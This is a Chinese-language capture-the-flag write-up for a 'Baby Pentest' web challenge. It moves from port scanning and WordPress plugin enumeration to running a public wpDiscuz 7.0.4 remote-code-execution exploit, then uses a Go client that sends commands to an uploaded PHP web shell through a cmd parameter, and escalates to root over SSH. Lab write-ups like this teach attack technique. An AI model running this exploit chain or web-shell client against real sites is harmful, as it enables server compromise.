##### tags:`新生盃` `is1ab-note` # is1ab 新生盃 WEB:Baby Pentest <style> .red { color: red; } .blue { color: blue; } .purple { color: #7D3382; } .light_purple { color: #810cf5; } </style> <span class=""></span> ## <span class="red">題目</span> - ![image](https://hackmd.io/_uploads/S1LEbRwsxx.png) ## <span class="red">解題過程</span> 1. **根據題目名稱,以及底下訊息說明有提到 port ,針對 `IP=45.130.165.186` 先用了 `rustscan -a 45.130.165.186 --scripts none --ulimit 5000 -r 1-65535` 掃描有哪些開啟的 port ,發現了除了題目說的 port 22 還有一個 22 port** - ![image](https://hackmd.io/_uploads/rJHeqRwoeg.png) &emsp; 2. **於是我就用 nmap 的攻擊模式 `(-A)` 去掃這個 port `(nmap -A -p 2222 45.130.165.186)` ,找到 `OpenSSH 7.9p1 Debian 10` 這個版本,並且服務這欄是 SSH** - ![image](https://hackmd.io/_uploads/ByTFc0vjgg.png) &emsp; 3. **我打算用 `metasploit` 來進行一些觀察,在 `sudo apt install metasploit-framework` 完成後,可以用 `search ssh` 先查詢 ssh 有哪些模組可以使用,其中就有 `ssh login` 相關 (ssh 我的第一個反應就是連線)。於是用 `use auxiliary/scanner/ssh/ssh_enumusers` 選擇這個模組,然後再用 `show options` 看需要設定哪些參數** - ![image](https://hackmd.io/_uploads/rkYVX1Osxg.png) - ![image](https://hackmd.io/_uploads/Byywskuoxx.png) - ![image](https://hackmd.io/_uploads/rkpXn1dige.png) &emsp; 4. **針對 USERFILE 我用的是 seclist 中 Usernames 目錄底下的字典檔,但是都出現 `throws false positive result` ,所以我打算直接用 `use auxiliary/scanner/ssh/ssh_enumusers` 這個模組做登錄爆破** - ![image](https://hackmd.io/_uploads/SJUYCJOsxg.png) - ![image](https://hackmd.io/_uploads/r1f30k_ixx.png) &emsp; 5. **但開 ticket 問之後,出題者說沒有人會爆 SSH 吧!!於是我另尋出路,在 CHW blogger 上有寫要關注附檔名。2222 port 剛剛掃過他是負責 SSH 連線的,所以應該是要把重點放在 `http://45.130.165.186:8080/` 原本的這個 port。用 `gobuster dir -url http://45.130.165.186:8080 --wordlist /usr/share/dirb/wordlists/common.txt -x php3,php4,phtml,php` 掃完後發現 `/assets` 是 301 (重新定向),所以我就去 `/assets` 並在底下發現了非常奇怪的內容,主要在 `http://45.130.165.186:8080/assets/fonts/blog/` 發現有很多 endpoint ,然後看起來是 css 沒有 fetch 到,所以我打算把這個 IP 加到 kali 的 `/etc/hosts` 再用 kali browser 看** - ![image](https://hackmd.io/_uploads/HkSyYxOslg.png) - ![image](https://hackmd.io/_uploads/rJm4RH_ixl.png) - ![image](https://hackmd.io/_uploads/ryUUWZtogx.png) &emsp; 6. **在 kali 的 browser 打開後應該就會長成底下的圖片,仔細觀察每個 Note 的 URL ,可以發現這是依靠 query string p 的值來做 GET ,所以就試試看能不能存取 `p=0 or p=1` 。發現 `p=0` 就是首頁, `p=1` 看起來就非常的可疑了** - ![image](https://hackmd.io/_uploads/SJ0nbXFigg.png) - ![image](https://hackmd.io/_uploads/rkJe7QYoge.png) - ![image](https://hackmd.io/_uploads/B1TD7QKoxg.png) &emsp; 7. **這個網頁點開會發現是一個 wordpress 的登入介面,因此先用 wp-scan 確定一下有哪些 wordpress 可能的 plugin 漏洞,找到兩個 plugin 可能有相關漏洞 (`wpscan --url http://blogger.chw:8080/assets/fonts/blog/ --enumerate p --plugins-detection aggressive --random-user-agent`)** - ![image](https://hackmd.io/_uploads/H1Gq7mFoxx.png) - ![image](https://hackmd.io/_uploads/SkzRk4Ksxx.png) &emsp; 8. **用 ExploitDB 分別查找兩個 plugin 相關資訊。針對 Akismet 的兩個受影響版本分別是 `2.1.3` 和 `3.1.4 以下` ,而掃描出來的版本是 `5.5.0` 所以應該不是這個;接著是查看 wpdiscuz 這個 plugin ,猜測應該是這個,因為在最一開始 `/assets` 底下的 `mu-plugins` 就有這個的 PoC .php 檔,而當我查到影響版本 (`7.0.0 ~ 7.0.4`) 時也發現了當前版本 `7.0.4` 確實在影響之下** - ![image](https://hackmd.io/_uploads/Byl8mEtill.png) - ![image](https://hackmd.io/_uploads/HkUMf4Ysgg.png) - ![image](https://hackmd.io/_uploads/B1x1v7NFolx.png) - ![image](https://hackmd.io/_uploads/B1XmEEKiex.png) &emsp; 9. **所以我查詢一下這篇的 PoC 像是 RCE ,下載後在可以留言的地方執行 PoC 並附帶參數 `python exploit_RCE.py -u http://45.130.165.186:8080/assets/fonts/blog/ -p ./?p=1` 這樣就能把 payload script 丟到目標靶機,之後就能夠成功 RCE 了** - ![image](https://hackmd.io/_uploads/ryDLJHtsle.png) - ![image](https://hackmd.io/_uploads/SJZeQBFigl.png) &emsp; 10. **因為單純用 curl 做回顯會很麻煩(例如有空格就需要 URL encode),所以寫了一個 exploit.go ,然後把想要打的指令放在 `command := ""` 裡面,之後跑 `go run exploit.go`** ```go= package main import ( "fmt" "io/ioutil" "log" "net/http" "net/url" ) func main() { // 目標 URL baseURL := "http://blogger.chw:8080/assets/fonts/blog/wp-content/uploads/2025/09/frmufgrnozwznsd.php" // 想要執行的指令 (這裡使用一個無害的 'id' 指令作為範例) // 在真實的滲透測試中,你會替換成其他指令 command := "ps aux" // 建立完整的請求 URL,並對指令進行 URL 編碼以避免特殊字元問題 fullURL := fmt.Sprintf("%s?cmd=%s", baseURL, url.QueryEscape(command)) fmt.Println("正在向以下 URL 發送請求:") fmt.Println(fullURL) // 發送 HTTP GET 請求 resp, err := http.Get(fullURL) if err != nil { log.Fatalf("發送請求失敗: %v", err) } // 函式結束時關閉回應主體 defer resp.Body.Close() fmt.Println("\n收到伺服器回應:") fmt.Printf("HTTP 狀態碼: %d %s\n", resp.StatusCode, http.StatusText(resp.StatusCode)) // 讀取回應內容 body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Fatalf("讀取回應內容失敗: %v", err) } // 將回應內容以字串形式印出 fmt.Println("--- 回應內容開始 ---") fmt.Println(string(body)) fmt.Println("--- 回應內容結束 ---") } ``` &emsp; 11. **在 /home 底下拿到 `user_flag.txt` 。接著因為用 shell 連進去會是 www-data 權限,所以用 vagrant (通常會是測試帳號,而且只有 vagrant 有 `ssh key`)去 ssh 登入 `(ssh vagrant@blogger.chw -p 2222)`,試試看能不能直接提權 `(sudo su -)` ,結果就成功了** - **user_flag : `NjkgNzMgMzEgNjEgNjIgNDMgNTQgNDYgN2IgMzUgMzAgNWYgNjggMzQgNzYgMzMgNWYgNzkgMzAgNzUgNWYK`** - ![image](https://hackmd.io/_uploads/BJAvV3Fsgg.png) - **root_flag : `NzYgMzEgMzMgNzcgMzMgNjQgNWYgNjMgNjggNzcgMjcgMzUgNWYgNjYgMzQgNjMgMzMgNjIgMzAgMzAgNmIgNWYgNzAgNzIgMzAgNjYgMzEgNmMgMzMgN2Q`** - ![image](https://hackmd.io/_uploads/BJ54V3Ksgl.png) &emsp; 12. **最後用 base64 把這兩個解出來後,發現是 16 進制編碼,之後在解就能拿到 flag 了** - ![image](https://hackmd.io/_uploads/BJoIH3Kigl.png) - ![image](https://hackmd.io/_uploads/SJNIw3Koxg.png) - **flag🚩 : `is1abCTF{50_h4v3_y0u_v13w3d_chw'5_f4c3b00k_pr0f1l3}`** &emsp; ## <span class="red">自我告解(心得)</span> 1. **我在一開始登入時沒有檢查 ssh 能不能用密碼登入**